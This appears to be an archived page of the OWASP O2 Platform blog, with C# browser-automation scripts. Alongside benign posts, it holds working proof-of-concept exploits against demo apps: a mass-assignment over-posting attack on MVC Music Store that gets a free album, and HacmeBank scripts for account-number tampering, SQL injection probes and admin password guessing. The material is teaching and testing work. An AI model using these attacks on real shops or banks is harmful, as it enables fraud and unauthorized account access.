OWASP O2 Platform Blog

Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform

In this post, I’m going to show the value added  of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.

Background

The industry has broadly adopting MVC architecture to build Web  applications during the last years  for several reasons, including the rapid  and efficient paradigm it represents to build really good applications.

Few weeks ago , a user exploited a vulnerability at  GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz  wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.

In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store    hosted in CodePlex( this is a great application that shows the use of this architecture).

Once you have this application up and running , then you probably are going to see something like this:

ASP.NET MVC MUSIC STORE

ASP.NET MVC MUSIC STORE

O2 Script to exploit the vulnerability

Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.

var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true);  // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control

var site = "http://localhost:26641";

Action<string,string,string> register =
(username, password,email)=>{
ie.open(site + "/Account/Register");
ie.field("UserName").value(username);
ie.field("Email").value(email);
ie.field("Password").value(password);
ie.field("ConfirmPassword").value(password);
ie.button("Register").click();
};

Action loginAsTestUser =
()=>{
var user1_name = "test_user".add_RandomLetters(5);
var user1_email = "test@testuser.com";
var user1_pwd = "a pwd".add_RandomLetters(10);
register(user1_name, user1_pwd, user1_email);

};

Action selectTestProductAndCheckout =
()=>{
ie.link("Rock").scrollIntoView().flash().click();
//Selection Led Zeppeling I album
ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
ie.link("Add to cart").flash().click();
ie.link("Checkout >>").flash().click();

};

Action populateSubmitOrder =
()=>{
var Address     = "Foo Address";
var City         = "Foo City";
var Country     = "Foo Country";
var Email         = "Email@email.com";
var FirstName     = "Foo FirstName";
var LastName     = "Foo LastName";
var Phone         = "Foo Phone";
var PostalCode     = "AAA BBB";
var State         = "Foo State";
var PromoCode     = "FREE"; // currently hard coded promotional code

ie.field("Address").value(Address);
ie.field("City").value(City);
ie.field("Country").value(Country);
ie.field("Email").value(Email);
ie.field("FirstName").value(FirstName);
ie.field("LastName").value(LastName);
ie.field("Phone").value(Phone);
ie.field("PostalCode").value(PostalCode);
ie.field("PromoCode").value(PromoCode);
ie.field("State").value(State);
};

Action submitOrder =
()=>{
ie.button("Submit Order").click();
};

Action createOrderUsingTestUser =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();
submitOrder();
};

Action injectField =
(fieldName, value)=>{
ie.field("FirstName")
.injectHtml_afterEnd("
{0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value));
};

Action runExploit_1 =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();

//the following simulates adding this to the POST request following URI Convention:
//OrderDetails[0].OrderDetailId=1&OrderDetails[0].OrderId=1&OrderDetails[0].AlbumId=1&OrderDetails[0].Quantity=1&OrderDetails[0].UnitPrice=5&
injectField("OrderDetails[0].OrderDetailId","1");
injectField("OrderDetails[0].OrderId","1");
injectField("OrderDetails[0].AlbumId","1");
injectField("OrderDetails[0].Quantity","1");
injectField("OrderDetails[0].UnitPrice","0");
submitOrder();
ie.open(site + "/OrderDetails");
};

runExploit_1();

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll
//O2Tag_DontAddExtraO2Files;

If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but  look that the script injects other  fields (related to other album),  so we are buying just one album but  we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :).

This is the HTTP Post form field  that were sent to the server:

HTTP form post fields using Fiddler

HTTP form post fields using Fiddler

And this is how our order detail looks like :

Order details

Order details

How was this  possible?


If you look at  the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.

//Some properties of the Orders model.
[Required(ErrorMessage = "Email Address is required")]
[DisplayName("Email Address")]
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")]
[DataType(DataType.EmailAddress)]
public string Email { get; set; }
[ScaffoldColumn(false)]
public decimal Total { get; set; }

public List<OrderDetail> OrderDetails { get; set; }

The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.

Checkout controller

Checkout controller

Final thoughts

This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit  a vulnerability on top of Microsoft MVC.  The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.

As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this  kind of architecture.

I would like to thank to Dinis Cruz  for making this script available and all his work in the O2 Platform project.

May 20, 2012 Posted by | .NET, ASP.NET MVC, Fixing Code, IE Automation, Vulnerabilities, WatiN | , , , | 5 Comments

Automating the Download of a GitHub ZipFile (using IE’s WatiN)

Here is a script that uses WatiN’s FileDownloadHandler to automate the download of a web page in IE (which popups to save it)

var ie = "ie_hLZRz".o2Cache<WatiN_IE>(()=> panel.clear().add_IE()).silent(true); 

//using WatiN.Core.DialogHandlers
Func<string,string, string> open_and_HandleFileDownload =
    (url, fileName)=>{
            var tmpFile = fileName.tempFile();
            var waitUntilHandled = 20;
            var waitUntilDownload = 300;
           
            var fileDownloadHandler = ie.dialogHandler<FileDownloadHandler>();
            if (fileDownloadHandler.notNull())
            {
                ie.IE.RemoveDialogHandler(fileDownloadHandler);
            }
           
            fileDownloadHandler = new FileDownloadHandler(tmpFile);
            ie.IE.AddDialogHandler(fileDownloadHandler);
           
            
            fileDownloadHandler.field("saveAsFilename",tmpFile);
            fileDownloadHandler.field("hasHandledFileDownloadDialog",false);
           
            ie.open_ASync(url);
            try
            {
                fileDownloadHandler.WaitUntilFileDownloadDialogIsHandled(waitUntilHandled);           
                "after: {0}".info("WaitUntilFileDownloadDialogIsHandled");
                fileDownloadHandler.WaitUntilDownloadCompleted(waitUntilDownload);
                "after: {0}".info("WaitUntilDownloadCompleted");
            }
            catch(Exception ex)
            {
                "[WatiN_IE][open_and_HandleFileDownload] {0}".error(ex.Message);
            }
               
            if (fileDownloadHandler.SaveAsFilename.fileExists())
            {
                "[WatiN_IE] downloaded ok '{0}' into '{1}'".info(url, fileDownloadHandler.SaveAsFilename);
                return fileDownloadHandler.SaveAsFilename;
            }
            "[WatiN_IE] failed to download '{0}' ".info(url);
            return null;
    };
return open_and_HandleFileDownload("https://github.com/SecurityInnovation/YASAT/zipball/master_", "download.zip");

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll
//_O2Tag_DontAddExtraO2Files;           
//O2File:_Extra_methods_Collections.cs

The example above did a download from a puplic repository, if you need to access a private one (which required GitHub login), here is how to do it:

if(ie.url() != "https://github.com/DinisCruz/TeamMentor-v3.0")
    ie.open("https://github.com/DinisCruz/TeamMentor-v3.0");
var githubAccount = @"C:\O2\_USERDATA\accounts.xml".credential("github");  

Action loginToGitHub =
    ()=>{
            if(ie.hasLink("Login"))
            {
                ie.link("Login").click();
                ie.field("login_field").value(githubAccount.UserName);
                ie.field("password").value(githubAccount.Password);
                ie.button("Log in").click();
            }
        };

loginToGitHub();
return open_and_HandleFileDownload("https://github.com/DinisCruz/TeamMentor-v3.0/zipball/master", "download.zip");

January 11, 2012 Posted by | IE Automation, TeamMentor, WatiN | 2 Comments

HacmeBank – Unit Tests for Vulnerabilities

The following examples show how to create automated exploits and PoCs (to be later transformed into unit tests) for HacmeBank’s vulnerabilities

This code uses O2’s WatiN integration to create an easy ‘IE automation’ scripting environement

Install and confirm we can login

After Installing HacmeBank and run the following script that will confirm if we are logged in:

var ie = "about:black".ie(0,500,750,500);
 
ie.open("http://localhost:58348/HacmeBank_v2_Website");
ie.field("txtUserName").value("jm");
ie.field("txtPassword").value("jm789");
ie.button("Submit").click();

Vulnerability:User A is able to see User’s B account details

var ie = "about:black".ie(0,500,750,500);
 
ie.open("http://localhost:58348/HacmeBank_v2_Website");

ie.field("txtUserName").value("jm");
ie.field("txtPassword").value("jm789");
ie.button("Submit").click();
 
ie.link("My Accounts").click();
ie.link("View Transactions").click();  
 
var url = ie.url();
var payload = url.replace("5204320422040003","5204320422040001");
ie.open(payload);
 
ie.closeInNSeconds(20);

Vulnerability:Sql Injection in Login page

public void vulnerability_Sql_Injection_in_Login_page()
{
    setup(); 
    Browser.open(StartUrl); 
    Browser.field("txtUserName").value("jv ' aaa").flash();
    Browser.field("txtPassword").value("jv789").flash();
    Browser.button("Submit").flash().click();
}

Vulnerability:Sql Injection in Accounts Details page

[Test]
public void vulnerability_Sql_Injection_in_Accounts_Details_page()
{
    setup(); 
    Browser.open(StartUrl); 
    Browser.field("txtUserName").value("jv").flash();
    Browser.field("txtPassword").value("jv789").flash();
    Browser.button("Submit").flash().click();
    Browser.link("My Accounts").flash().click();
    Browser.link("View Transactions").flash().click(); 
    Browser.open(Browser.url()+"' AAAAA ");            
}

Vulnerability: Sensitive Information Disclosure in Admin Section Login

[Test]
public void vulnerability_Sensitive_Information_Disclosure_in_Admin_Section()
{
    setup(); 
    Browser.open(StartUrl); 
    Browser.field("txtUserName").value("jv").flash();
    Browser.field("txtPassword").value("jv789").flash();
    Browser.button("Submit").click();
    Browser.link("Admin Section").flash().click();                    
 
    var response = Browser.viewState().ViewState_Values[12];
 
    Browser.field("_ctl3:txtResponse").value(response).flash();           
    Browser.button("Login").flash().click();
}

Script: Fuzzing Admin password

panel.clear();
var topPanel = panel.add_Panel();
 
var ie = topPanel.add_IE().silent(true);
var startPage = "http://localhost:58915/HacmeBank_v2_Website/aspx/login.aspx";
Action<string> adminLogin =
    (password)=>{
            ie.open(startPage);
            ie.disableFlashing();
            ie.field("txtUserName").value("jv").flash();
                        ie.field("txtPassword").value("jv789").flash();
                        ie.button("Submit").click();
                        ie.link("Admin Section").flash().click();    
            //var secret = ie.viewState().ViewState_Values[12];             
            ie.field("_ctl3:txtResponse", password);
            ie.button("Login").click();
            //Add logic to detect admin Login
        };
 
for(int i =0 ; i < 10 ; i ++)
    adminLogin("admin" + i);       
 
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 27, 2011 Posted by | HacmeBank, IE Automation, WatiN | Leave a comment

Submit file to Veracode Trial: using Browser and Windows Automation (WatiN and White APIs)

This script automates the process off submitting a file to Veracode’s free trial (as of 20/Jul/2011). See also Consuming Veracode Findings File(s) using O2.

If first provides a settings GUI, where the user can enter the requried data (email and file to upload), then fires up a web brower and uses WatiN (Browser Automation) plus White (Windows UIAutomation) to populate the form fields and to submit the form.

The reason why I had to use UIAutomation (and White API) was because there didn’t seem to be a way to modify the HTML form field of the ‘file upload’ control (even jQuery didn’t seem to be able to modify that value programatially).

The solution was to use UIAutomation to:

  • click on the ‘Browse’ field,
  • then (on the popup file dialog window)
    • enter the file to upload, and
    • click ‘Close’

Here is the ‘settings window:

When the button is clicked the veracode trial page is opened and the ‘Html Form File Upload Button’ is pressed (via UIAutomation) :

When the ‘Choose File to Upload’ window appears, the ‘File Name Text Box’ is populated and the Open Button is pressed (both using UIAutomation (via White API)).

Finally, the email field is populated, the check box is ticked and the ‘Upload’ button is pressed (using Browser Automation (WatiN))

Here is the source code of this script:

var topPanel = O2Gui.open<Panel>("Util - Submit file to Veracode Trial",700,180);    
//var topPanel = panel.clear().add_Panel();
topPanel.insert_LogViewer();
var _email = "o2@o2platform.com";
var _fileToUpload = @"C:\O2\Demos\jPetStore - O2 Demo Pack\apache-tomcat-7.0.16\webapps\jpetstore.war";


Action<string,string> submitFileToVeracode =
	(email, fileToUpload)=>
		{
			var windowName= "Veracode File Upload - {0}".format(10.randomLetters());
			var ie = windowName.popupWindow(1000,500)
							   .add_IE().open("https://trial.veracode.com/freetrials/veracode-free-trial-signup.php");

			var processId = Processes.getCurrentProcessID();
			var apiGuiAutomation = new API_GuiAutomation(processId);
			var window = apiGuiAutomation.window(windowName);
			"got main window".info();
			var buttons = window.buttons();a
			"found {0} buttons".info(buttons.size());
			buttons[1].mouse().click();
			"clicked button".debug();
			var selectFileWindow = apiGuiAutomation.window("Choose File to Upload");
			selectFileWindow.textBoxes()[0].set_Text(fileToUpload);
			selectFileWindow.button("Open").click();
			ie.field("email",email);
			ie.checkBoxes()[0].check();
			ie.button("Upload").click();
			//buttons[2].mouse().click();
		};


topPanel.add_TextBox("Email",_email).top(0)
			.width(100)
			.onTextChange((text)=>_email=text)
		.append_Label("File to upload")
			.autoSize()
			.top(3)
		.append_TextBox(_fileToUpload)
			.onTextChange((text)=>_fileToUpload=text)
			.width(300)
			.align_Right(topPanel);
topPanel.add_Button(24,"Create Account and Upload File")
		.font_bold()
		.align_Right(topPanel)
		.onClick(()=> submitFileToVeracode(_email, _fileToUpload) );

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll
//O2File:API_GuiAutomation.cs
//O2Ref:White.Core.dll

July 20, 2011 Posted by | Interoperability, JPetStore, Veracode, WatiN, White_UIAutomation | Leave a comment

Login into Starbucks (via BTOpenZone) using Browser Automation (Watin)

Since I do this almost everyday, its time to automate it using an O2 Script 🙂

Here is the script that automates the Login process (populate login fields, click on checkbox and click on Submit button) to Starbucks (via UK’s BT OpenZone)

Note the use of a separate file to hold the login creadentials

var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(true);
Action<string,string> loginOnStarbucksViaByOpenZone =
    (username, password)=>{
                            ie.open("https://www.btopenzone.com:8443/sbuxLoyaltyAnteLogon?info=eu");
                            ie.field("username").value(username);
                            ie.field("password").value(password);
                            ie.checkBox("termsCheckBox").check();
                            ie.button("Login").click();
                          };
var fileWithLoginDetails = @"C:\O2\_USERDATA\accounts.xml";
var credential = fileWithLoginDetails.credential("Starbucks");             
loginOnStarbucksViaByOpenZone(credential.UserName, credential.Password);
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

here is what it looks like after login

July 20, 2011 Posted by | IE Automation, WatiN | Leave a comment

Using ‘Amazon S3 Browser’ script to upload files to Amazon S3

If you have an Amazon S3 account (http://aws.amazon.com/s3/) then you might find useful to use the ‘Amazon S3 Browser.h2’ script to upload files to the S3 servers (you can also create folders and delete files)

To upload files, select the target foldder (top left treeview) and  just drop the desired file on the the bottom left treeview (the red color indicates that the file is being uploaded)

When the upload has completed, the bottom treeview will refresh and show the uploaded file there:

To get the link to the file, click on it and copy it from the top right textbox

For small files (like images or html files) you can get a quick preview by selecting the ‘Auto Preview Selected File’ checkbox

Note that when you upload files using this GUI/Script the file permission will be set to public (the default is to make it private).

The ‘Amazon S3 Browser.h2‘ script (shown below) consumes the API_AmazonS3.cs file and is mainly focused on building the GUI:

//O2Ref:WatiN.Core.1x.dll
var topPanel = O2Gui.open<Panel>("Amazon S3 Browser",700,400);
var autoPreviewSelectedFile = false;
var amazonS3 = new API_AmazonS3();  </pre>
&nbsp;

topPanel.add_Label("Logging in to S3", 150,300);
amazonS3.login();
topPanel.clear();
var statusLabel = topPanel.parentForm().add_StatusStrip(); 
statusLabel.set_Text("Welcome to O2's Amazon S3 Browser (click on folder to see files)");
var foldersTreeView = topPanel.add_TreeView()
                           .showSelection();
                          
var previewArea = foldersTreeView.insert_Right<Panel>(topPanel.width() /2 ).add_1x1("Selected File Url", "Selected File Contents",false, 65) ;
var previewPanel = previewArea[1];
var selectFile = previewArea[0].add_TextBox().fill();
previewArea[0].add_CheckBox("Auto Preview selected File (to see single files just press enter above)",40,4, (value) => autoPreviewSelectedFile = value).autoSize(); 

var filesTreeView = foldersTreeView.insert_Below<TreeView>(topPanel.height()/2)
                                   .showSelection();  

MethodInvoker refreshFolders =
    ()=>{
            foldersTreeView.clear();
            foldersTreeView.add_Nodes(amazonS3.folders());
        };
       
MethodInvoker refreshFileView =
    ()=>{
            amazonS3.showFilesInTreeView(filesTreeView, foldersTreeView.selected().get_Text());           
        };       
                                  
foldersTreeView.insert_Below<Panel>(25)  
               .add_LabelAndTextAndButton("New folder name:", "", "create",
                           (newFolderName)=>
                               {
                                statusLabel.set_Text("Creating folder:{0}".format(newFolderName));
                                   if (amazonS3.create_Folder(newFolderName).valid())
                                   {
                                       foldersTreeView.clear();                                      
                                    foldersTreeView.add_Nodes(amazonS3.folders());   
                                   };
                               });
filesTreeView.onDrop(
    (fileOrFolder)=>{
                        if (fileOrFolder.isFile())
                        {
                            filesTreeView.backColor(Color.LightPink);
                            O2Thread.mtaThread(
                                ()=>{
                                        statusLabel.set_Text("adding file:{0}".format(fileOrFolder));
                                        var currentFolder = foldersTreeView.selected().get_Text();
                                        amazonS3.add_S3_Object(currentFolder, fileOrFolder);
                                        amazonS3.showFilesInTreeView(filesTreeView, currentFolder);                           
                                        statusLabel.set_Text("Done");
                                        filesTreeView.backColor(Color.White);
                                    });
                        }
                           
                    });
  
var foldersContextMenu = foldersTreeView.add_ContextMenu();
var filesContextMenu = filesTreeView.add_ContextMenu();

//menu actions 
foldersContextMenu.add_MenuItem("Delete Folder", 
                            ()=>{
                                    var folderToDelete = foldersTreeView.selected().get_Text();
                                    if ("Are you sure you want to Delete the folder: {0}".format(folderToDelete).askUserQuestion())
                                        if (amazonS3.delete_Folder(folderToDelete).valid())                                      
                                        {
                                            statusLabel.set_Text("Deleting folder:{0}".format(folderToDelete));
                                               refreshFolders();
                                           }
                                });
 
filesContextMenu.add_MenuItem("Delete File", 
                            ()=>{
                                    //filesTreeView.SelectedNode =
                                    var currentFolder = foldersTreeView.selected().get_Text();
                                    var fileToDelete = filesTreeView.selected().get_Text();
                                    if ("Are you sure you want to Delete the file: {0}".format(fileToDelete).askUserQuestion())                                   
                                    {
                                        statusLabel.set_Text("Deleting File:{0}".format(fileToDelete));
                                        if (amazonS3.delete_File(currentFolder, fileToDelete).valid())                                      
                                            amazonS3.showFilesInTreeView(filesTreeView, currentFolder);
                                    }
                                });

// events
foldersTreeView.afterSelect<string>(
    (folder) =>{
                    statusLabel.set_Text("Showing files in folder: {0}".format(folder));
                    refreshFileView();
                });

filesTreeView.afterSelect<Uri>(
    (uri)=>    {               
                var url = uri.str();
                "url: {0}".info(url);
                statusLabel.set_Text("Showing details for file: {0} ".format(url));
                selectFile.set_Text(url);               
                if (autoPreviewSelectedFile)
                    amazonS3.showFileInControl(previewPanel, uri);                                       
            });

selectFile.onEnter(
    (url)=> {               
                amazonS3.showFileInControl(previewPanel, url.uri());       
             });

// ContextMenu

filesContextMenu.add_MenuItem("Refresh", refreshFileView);

var folders = amazonS3.folders();
foldersTreeView.add_Nodes(folders);   
amazonS3.showFilesInTreeView(filesTreeView,"");

return "done";
//using O2.External.IE.ExtensionMethods

//O2File:API_AmazonS3.cs
//O2Ref:AWSSDK.dll
//O2Ref:O2_External_IE.dll
//O2Ref:System.Xml.dll
//O2Ref:System.Xml.Linq.dll

 

July 16, 2011 Posted by | EC2, Interoperability, WatiN | Leave a comment

Visualizing the links in JPetStore (Spring MVC)

One of the pains of writing web automation scripts for JPetStore is its almost lack of HTML ID tags, which make it very hard to get strong references to the desired (for example) links.

The script below show an IE Automation sequence that will end up in a page where we will grab the links and visualize a possible analysis of its link data:

Here is the script that creates the GUI:

var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true);

ie.open("http://127.0.0.1.:8080/jpetstore");
ie.link("Enter the Store").click();

var mappings = new Dictionary<string, string>();

foreach(var url in ie.links().urls())
    if(url.contains("categoryId"))   
        mappings.add(url.split("=")[1], url);
       
ie.open(mappings["FISH"]);         
ie.link("FI-FW-01 ").click();

var tableList = topPanel.insert_Left(400).add_TableList();
var urls = from url in ie.links().urls()
              where url.contains("?")         
              select url.replace("?","=");
var results = from url in urls
              select new { address = url.split("=")[0],
                             action =  url.split("=")[1],
                             id = url.split("=")[2] };
             
tableList.show(results);

//ie.inject_jQuery(); 
//ie.inject_FirebugLite();
//return ie.fields();
return "ok";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a follow-up script where we create a dictionary that maps the product type to a link:

var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true);

ie.open("http://127.0.0.1.:8080/jpetstore");
ie.link("Enter the Store").click();

var mappings = new Dictionary<string, string>();

foreach(var url in ie.links().urls())
    if(url.contains("categoryId"))   
        mappings.add(url.split("=")[1], url);
       
ie.open(mappings["FISH"]);         

ie.link("FI-FW-01 ").click();
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 15, 2011 Posted by | IE Automation, JPetStore, Spring MVC, WatiN | Leave a comment

O2 Script to download O2 Reference DLLs from SVN

An O2 user today had a problem that sometimes happens inside networks with’ proxy based internet access’.

The issue is that if an O2 script needs a particular dll to run and it has not been downloaded before, O2 will fail to find it because the ping that it makes to check for online connectity will fail (this is a bug that needs to be fixed in the main O2 ClickOnce version).

So to address his short term need (and to show how easy it is to add new modules anf capabilities to O2), I ‘live coded’ the scrip below using ietherpad.com 🙂

Here is the link of the Etherpad timeslider (you can go back in time and see how the script evolved): http://ietherpad.com/ep/pad/view/uuSwFWulSf/latest

Here is a screenshot of what it looks like:

Here is the source code of this new O2 Util (which is already added to the main O2 Scripts folder (look for the script called ‘Util – Download O2 Reference File.h2’))

//var topPanel = panel.clear().add_Panel();
var topPanel = "Get O2 Reference dll (double click on file to download it)".popupWindow(400,500); 
topPanel.insert_LogViewer();</pre>
&nbsp;

var ie = topPanel.add_IE().silent(true);

var treeView = topPanel.insert_Left().add_TreeView().sort();

Action<string> addUrlMappingsToTreeView =
    (urlWithLinks)=>{
                        ie.open(urlWithLinks);
                        var links = from link in ie.links()
                            where link.text() != ".."
                            select new { filename = link.text() , url = link.url() };
                        foreach(var link in links)
                            treeView.add_Node(link.filename, link.url);
                    };
addUrlMappingsToTreeView("<a href="http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/FilesWithNoCode/">http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/FilesWithNoCode/</a>");
addUrlMappingsToTreeView("<a href="http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/">http://o2platform.googlecode.com/svn/trunk/O2%20-%20All%20Active%20Projects/_3rdPartyDlls/</a>");

topPanel.splitContainer().panel2Collapsed(true);

treeView.onDoubleClick<string>(
    (url)=> {
                treeView.pink();
                "you selected the url: {0}".info(url);
                var localTempFile = url.uri().download();
                var copiedFile = Files.Copy(localTempFile,PublicDI.config.CurrentExecutableDirectory);
                "file was copied to: {0}".info(copiedFile);
                treeView.white();
            });
return "ok";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 13, 2011 Posted by | O2 Internals, WatiN | Leave a comment

Writing an O2 ‘IE Automation’ Script for JPetStore Account Creation

Here is a video and script of the interactive process of writing an O2 IE Automation Script for JPetStore.

This is is the original script as shown in the video:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

//ie.open("http://localhost:8080/jpetstore");
//ie.link("Enter the Store").click();

ie.open("http://localhost:8080/jpetstore/shop/newAccount.do");
ie.field("account.username").value("a user");
ie.field("account.password").value("pwd");
ie.field("repeatedPassword").value("pwd");
ie.field("account.firstName").value("first");
ie.field("account.lastName").value("name");
ie.field("account.address1").value("1");
ie.field("account.phone").value("2");
ie.field("account.city").value("3");
ie.field("account.state").value("4");
ie.field("account.zip").value("5");
ie.field("account.country").value("6");
ie.field("account.email").value("7");
ie.button("Save Account Information").click();

//return ie.buttons();
//ie.inject_FirebugLite();
//return ie.links();

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Which was then added to the API_JPetStore.cs as a couple createAccount(…) extension methods:

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password)
{
return jPetStore.createAccount(username, password, username,10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters());
}

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password ,
string firstName, string lastName, string address1,
string phone, string city, string state, string zip,
string country, string email)
{
jPetStore.open("/shop/newAccount.do");
var ie = jPetStore.ie;
ie.field("account.username").value(username);
ie.field("account.password").value(password);
ie.field("repeatedPassword").value(password);
ie.field("account.firstName").value(firstName);
ie.field("account.lastName").value(lastName);
ie.field("account.address1").value(address1);
ie.field("account.phone").value(phone);
ie.field("account.city").value(city);
ie.field("account.state").value(state);
ie.field("account.zip").value(zip);
ie.field("account.country").value(country);
ie.field("account.email").value(email);
ie.button("Save Account Information").click();
return jPetStore;
}

So that they can be easily consumed like this:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

var jPetStore = new API_JPetStore(ie);

jPetStore.createAccount("user12","pwd"); //create user
jPetStore.logout();                         // logout
jPetStore.login("user12","pwd____");      //should fail (wrong password)
jPetStore.login("user12","pwd");          //should work

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a screenshot of the user created with the script above (note the random values)

July 13, 2011 Posted by | IE Automation, JPetStore, Spring MVC, videos, WatiN | Leave a comment

Injecting FirebugLite and jQuery into a IE Automation page (JPetStore Example)

When doing IE Automation, sometimes the best way to find out what is happening at the page we’re working on is to open FireBug on it. A cool (and very powerfull) alternative is to use FirebugLite which can be embeded on any page and works on most browsers.

As you can see here http://getfirebug.com/firebuglite#Stable one way to fireup FirebugLite is to execute that bit of Javascript they show under the ‘Add the following link to your bookmarks:’ section.

When using O2’s IE Automation this can be achieved like this:

var firebugLiteScript = &amp;quot;(function(F,i,r,e,b,u,g,L,I,T,E){if(F.getElementById(b))return;E=F[i+'NS']&amp;amp;&amp;amp;F.documentElement.namespaceURI;E=E?F[i+'NS'](E,'script'):F[i]('script');E[r]('id',b);E[r]('src',I+g+T);E[r](b,u);(F[e]('head')[0]||F[e]('body')[0]).appendChild(E);E=new Image;E[r]('src',I+L);})(document,'createElement','setAttribute','getElementsByTagName','FirebugLite','4','firebug-lite.js','releases/lite/latest/skin/xp/sprite.png','https://getfirebug.com/','#startOpened');&amp;quot;;
ie.eval(firebugLiteScript );

And since that works, let’s add it as an Extension method to the WatiN_ExtensionMethods.cs file that is used on the IE Automation script:

public static class WatiN_IE_ExtensionMethods_FireBugLite
{
public static WatiN_IE inject_FirebugLite(this WatiN_IE ie)
{
var firebugLiteScript = &amp;quot;(function(F,i,r,e,b,u,g,L,I,T,E){if(F.getElementById(b))return;E=F[i+'NS']&amp;amp;&amp;amp;F.documentElement.namespaceURI;E=E?F[i+'NS'](E,'script'):F[i]('script');E[r]('id',b);E[r]('src',I+g+T);E[r](b,u);(F[e]('head')[0]||F[e]('body')[0]).appendChild(E);E=new Image;E[r]('src',I+L);})(document,'createElement','setAttribute','getElementsByTagName','FirebugLite','4','firebug-lite.js','releases/lite/latest/skin/xp/sprite.png','https://getfirebug.com/','#startOpened');&amp;quot;;
ie.eval(firebugLiteScript);
return ie;
}
}

While we are here lets also add jQuery directly (without the need to use the IE_JQuery.cs api)

ie.eval(&amp;quot;&amp;lt;a href=&amp;quot;http://code.jquery.com/jquery-1.6.2.min.js%22.uri().getHtml&amp;quot;&amp;gt;http://code.jquery.com/jquery-1.6.2.min.js&amp;quot;.uri().getHtml&amp;lt;/a&amp;gt;());

or as an extension method:

public static class WatiN_IE_ExtensionMethods_JQuery
{
public static WatiN_IE inject_jQuery(this WatiN_IE ie)
{
ie.eval(&amp;quot;&amp;lt;a href=&amp;quot;http://code.jquery.com/jquery-1.6.2.min.js%22.uri().getHtml&amp;quot;&amp;gt;http://code.jquery.com/jquery-1.6.2.min.js&amp;quot;.uri().getHtml&amp;lt;/a&amp;gt;());
return ie;
}
}

Puting it all together, here is a script that:

  •  opens up JPetStore
  • Injects FirebugLite
  • Injects jQuery
  • runs a jQuery command that:
    • selects an ‘a’ with the content ‘Enter the Store’
    • changes its border to 2px
    • changes it size to 20px
    • fades it out in 2000 ms
    • fades is it in 2000 ms
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true);
var jPetStore = new API_JPetStore(ie);

jPetStore.homePage();
ie.inject_FirebugLite();
ie.inject_jQuery();
ie.eval(&amp;quot;jQuery(\&amp;quot;a:contains('Enter the Store')\&amp;quot;).css({'border': 'solid 10px', 'font-size' : 30 } ).fadeOut(2000).fadeIn(2000);&amp;quot;);&amp;lt;/pre&amp;gt;
&amp;amp;nbsp;
//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
